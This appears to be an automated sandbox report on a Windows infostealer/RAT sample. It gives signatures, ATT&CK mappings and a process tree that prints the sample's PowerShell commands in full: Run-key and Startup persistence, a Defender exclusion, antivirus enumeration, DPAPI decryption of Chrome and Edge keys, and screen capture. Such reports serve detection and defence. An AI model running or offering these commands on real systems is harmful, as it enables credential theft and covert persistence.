Overview

overview

10

Static

static

10

2026-08-08...ch.exe

windows10-2004-x64

9

2026-08-08...ch.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 02:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 6.7MB
  • Sample260808-dfnlms1zds
  • SHA256 db0772dc942fdd85670e5bff47568db5760aad61c123fa691edd44dbbcadeca3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionpersistencespywarestealertrojan

Malware Config

Signatures

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 6 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies system certificate store 2 TTPs 4 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
      2⤵
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3992
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force -ErrorAction SilentlyContinue"
      2⤵
      • Adds Run key to start application
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" $Shortcut.WorkingDirectory = \"C:\Users\Admin\AppData\Local\Temp\" $Shortcut.WindowStyle = 7 $Shortcut.IconLocation = \"%SystemRoot%\\System32\\shell32.dll, 14\" $Shortcut.Save "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1136
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5656
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4304
        • C:\Windows\System32\Wbem\WMIC.exe
          "C:\Windows\System32\Wbem\WMIC.exe" /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "ipconfig /all"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5176
        • C:\Windows\system32\ipconfig.exe
          "C:\Windows\system32\ipconfig.exe" /all
          3⤵
          • Gathers network information
          PID:5988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\system32os\" -Force"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -FilePath \"C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe\" -WorkingDirectory \"C:\Users\Admin\AppData\Local\Temp\system32os\" -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3912
        • C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe
          "C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe" all kaakkak28288nddhhBDAAD8282ksksk
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4224
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            4⤵
              PID:4452
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              4⤵
                PID:5108
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:6132
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2928
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3816
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5476
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2160
        • C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
          C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
          1⤵
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:3588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2116
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
            2⤵
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4416
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6052
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force -ErrorAction SilentlyContinue"
            2⤵
            • Adds Run key to start application
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1580
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" $Shortcut.WorkingDirectory = \"C:\Users\Admin\AppData\Local\Temp\" $Shortcut.WindowStyle = 7 $Shortcut.IconLocation = \"%SystemRoot%\\System32\\shell32.dll, 14\" $Shortcut.Save "
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3716
          • C:\Windows\system32\net.exe
            net session
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2288
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              3⤵
                PID:2556
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3712
              • C:\Windows\System32\Wbem\WMIC.exe
                "C:\Windows\System32\Wbem\WMIC.exe" /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:1620
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "ipconfig /all"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5912
              • C:\Windows\system32\ipconfig.exe
                "C:\Windows\system32\ipconfig.exe" /all
                3⤵
                • Gathers network information
                PID:5196
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\system32os\" -Force"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4700
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -FilePath \"C:\Users\Admin\AppData\Local\Temp\system32os\RuntimeBroker.exe\" -WorkingDirectory \"C:\Users\Admin\AppData\Local\Temp\system32os\" -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4236
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:2400
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4000
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAXLeKitezNoa7q3oBqOdnJyX/1hJt1tHScZl4rwoiNWcAAAAADoAAAAACAAAgAAAAiU91jlXHcflC4N6waa3T87hlgY9v0i5hMe5Dt05uNPcwAAAAlC/6faqUmw2IomTkEtyoMxHznx8C6m9VF9LdZBHH1NUru1z9yABZWIjzUjXK9B5sQAAAAPvYtWdvsT76tZ8GdWcJ8G74cmCE1J4qWD5tnKjpRWpfzQppT/cNk/rfBhbDfUHAO5XbEW6k1ExUzkmwDrSraeg=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3768
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAVGXS6e21PUCW//Ffg2eVEBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANDg1XV5tYOMx7OSjGTn/6w5HOHjn4bs/3N2vgZCKoAWAAAAAA6AAAAAAgAAIAAAAEwLrjsI9zjyC5a1DME2Yklk5Zd1ItYsQfbt9JYd9dD/MAAAAHw+Q2165ky8A0qtQ5eP6r6H1BMvQMvmpXsYndaOLt3IsDPml/xOpTFXvTOBOVAB10AAAAB0WX1REg1TAdm3H44prPf5gjw221rDN/smAUts/KMJO6Vo4ImtBYL0H+dzio055e8KE0+H0GWzu/+kEtaeaSMj\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3456
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:1620
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                PID:2508
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:2796
              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                1⤵
                  PID:248

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      2
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Defense Evasion

                      Hide Artifacts

                      1
                      T1564

                      Ignore Process Interrupts

                      1
                      T1564.011

                      Modify Registry

                      2
                      T1112

                      Obfuscated Files or Information

                      1
                      T1027

                      Command Obfuscation

                      1
                      T1027.010

                      Subvert Trust Controls

                      2
                      T1553

                      Install Root Certificate

                      2
                      T1553.004

                      Credential Access

                      Credentials from Password Stores

                      1
                      T1555

                      Credentials from Web Browsers

                      1
                      T1555.003

                      Unsecured Credentials

                      1
                      T1552

                      Credentials In Files

                      1
                      T1552.001

                      Discovery

                      Browser Information Discovery

                      1
                      T1217

                      System Information Discovery

                      1
                      T1082

                      System Network Configuration Discovery

                      1
                      T1016

                      Internet Connection Discovery

                      1
                      T1016.001

                      Lateral Movement

                      Collection

                      Data from Local System

                      1
                      T1005

                      Command and Control

                      Web Service

                      1
                      T1102

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 0f9f30f84196faa1b02a6a4d017611be94e7c9db3dfb5de3fe07b41938d91518
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 d550e163c7b9d3a1abbdf9db2d59154673a5031c72316dcb8aeb24f7b740df10
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 ead13edf4a93f3d5ffc3bf52a15ec3232ebe734d532b56153701102093d64706
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 02411acb51e10d157fd8338dfae4adb908b64fb42de8dc6e52a5432ed676ab72
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 b29bf4e8d2311136d9efe6eaa11df0a13cd84a4a45b823df190a894efb332837
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 93215ce89b3acdb1d302a9248fa7fa7ada7a6b802f12f5447c9e70db5ccbb013
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 42adb1addbc9fc2b000504d2210ee262643e50b2a047eb0ef1faf3ca14948b51
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
